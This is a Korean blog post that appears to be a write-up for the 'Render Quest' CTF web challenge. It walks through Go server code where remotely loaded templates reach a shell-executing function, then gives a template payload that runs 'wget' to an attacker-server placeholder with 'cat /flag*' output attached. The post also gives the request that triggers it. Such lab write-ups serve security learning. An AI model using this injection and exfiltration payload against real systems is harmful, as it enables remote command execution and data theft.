티스토리 뷰
문제 이름: Render Quest
문제 유형: Web
문제 난이도: Easy
문제 설명: You've found a website that lets you input remote templates for rendering. Your task is to exploit this system's vulnerabilities to access and retrieve a hidden flag. Good luck!
취약한 코드 설명
func (p RequestData) FetchServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}
main.go 파일을 보면 위와 같이 FetchServerInfo 함수에는 Command Injection 취약점이 존재합니다.
func readRemoteFile(url string) (string, error) {
response, err := http.Get(url)
if err != nil {
return "", err
}
defer response.Body.Close()
if response.StatusCode != http.StatusOK {
return "", fmt.Errorf("HTTP request failed with status code: %d", response.StatusCode)
}
content, err := io.ReadAll(response.Body)
if err != nil {
return "", err
}
return string(content), nil
}
readRemoteFile 함수를 보면 외부 HTTP 서비스로부터 임의 Response의 문자열을 가져오고 있습니다.
그리고 아래의 코드에서 tmplFile 변수에 반환 값을 보내주고 있습니다.
func getTpl(w http.ResponseWriter, r *http.Request) {
var page string = r.URL.Query().Get("page")
var remote string = r.URL.Query().Get("use_remote")
// 중략
var tmplFile string
if remote == "true" {
tmplFile, err = readRemoteFile(page)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
} else {
tmplFile, err = readFile(TEMPLATE_DIR+"/"+page, "./")
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
}
tmpl, err := template.New("page").Parse(tmplFile)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, reqData)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
}
그리고 tmpl 에서 다시 New 함수로 template instance를 생성하고 Parse 함수로 템플릿 태그를 파싱해서 마지막에 Execute 함수로 page라는 템플릿 템플릿 태그를 실행하면서 함수는 끝납니다.
보면 알지만, 템플릿을 실행할 때 외부 페이지에 따로 출력을하지 않고 오류가 난 경우에만 출력되고 있는 것을 볼 수 있습니다. 때문에 Golang Template Injection 종류의 취약점이지만, Blind 유형의 Command Injection 취약점임을 짐작할 수 있습니다.
익스플로잇
golang html/template 모듈에서는 아래와 같이 함수를 실행하거나 함수에 매개변수를 넘겨줄 수 있습니다.
{{ .Hello "world"}}
위 코드에서는 Hello 라는 함수에 "world"라는 문자열을 넘겨주는 템플릿 작성의 예시입니다.
문제의 코드에서는 Command Injection에 취약한 함수로 FetchServerInfo 가 있었습니다. 이 함수에 임의 명령어를 매개변수로 넘겨주면 원하는 명령어를 수행할 수 있습니다.
Linux 명령어 중 wget 명령어는 외부에 요청을 보내고 그 내용을 받아오는 명령입니다. 이 명령어를 이용해서 문제를 풀 수 있습니다.
{{ .FetchServerInfo "wget https://공격자서버주소?a=`cat /flag*`"}}
위와 같이 한다면 cat /flag* 명령어를 수행한 결과가 공격자 서버 주소의 a 라는 파라미터에 넘겨지면서 공격자 서버에는 flag 값이 담겨질 것입니다.
그리고 해당 템플릿 태그가 담긴 공격자 서버 주소를 page 파라미터에 넘겨주고, use_remote 파라미터를 true로 해주면 flag 값이 정상적으로 응답오는 것을 확인할 수 있습니다.
http://문제서버주소/render?use_remote=true&page=https://공격자서버주소
- 끝 -
'보안 > Wargame' 카테고리의 다른 글
[CVE-2023-25690] Apache HTTP Server <= 2.4.55 mod_proxy enabled - HTTP Request Smuggling (HTB ApacheBlaze Writeup) (36) | 2023.12.21 |
---|---|
[Hackthebox] - [Web] The Magic Informer Writeup(문제풀이) (0) | 2023.02.01 |
[Hackthebox] - [Web] baby website rick Writeup(문제풀이) (0) | 2023.01.24 |
[Webhacking.kr] invisible_dragon 문제풀이(Writeup) (0) | 2023.01.22 |
[Webhacking.kr] RegexMaster 문제풀이(Writeup) (0) | 2023.01.13 |